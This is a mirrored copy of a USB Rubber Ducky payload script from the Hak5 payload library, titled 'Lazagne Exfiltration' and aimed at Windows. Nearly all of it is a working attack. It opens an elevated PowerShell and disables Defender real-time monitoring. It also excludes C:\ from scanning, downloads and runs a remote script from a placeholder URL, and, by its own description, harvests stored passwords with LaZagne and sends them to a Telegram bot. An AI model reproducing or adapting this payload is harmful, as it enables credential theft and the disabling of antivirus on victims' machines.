Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/exfiltration/Lazagne-Exfil/payload.txt
2968 views
1
REM Title: Lazagne Exfiltration
2
REM Author: mrproxy
3
REM Requirements: Telegram bot, Internet Connection
4
REM Description: Downloads lazagne, runs lazagne, stores all info to .txt file, sends file to telegram bot.
5
REM Target: Windows
6
REM Version: 1.0
7
REM Category: Exfiltration
8
REM Source: https://github.com/Mr-Proxy-source/BadUSB-Payloads
9
10
REM Remember you will have to host the powershell script yourself on any file sharing service (it has to be direct download link)
11
REM If you are using DropBox, just remember to change it from ?dl=0 top ?dl=1
12
DEFINE #SCRIPT_URL example.com/payload.ps1?dl=1
13
14
REM Here you will have to put your telegram bot details
15
DEFINE #BOT_TOKEN your-bot-token
16
DEFINE #CHAT_ID your-chat-id
17
18
DELAY 1500
19
GUI r
20
DELAY 500
21
STRING powershell.exe -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Add-MpPreference -ExclusionPath 'C:\'; Start-Sleep -Seconds 5; powershell -w h -NoP -Ep Bypass -Command '$bt='#BOT_TOKEN'; $ci='#CHAT_ID'; irm #SCRIPT_URL | iex'"
22
CTRL-SHIFT ENTER
23
DELAY 1000
24
ALT y
25
26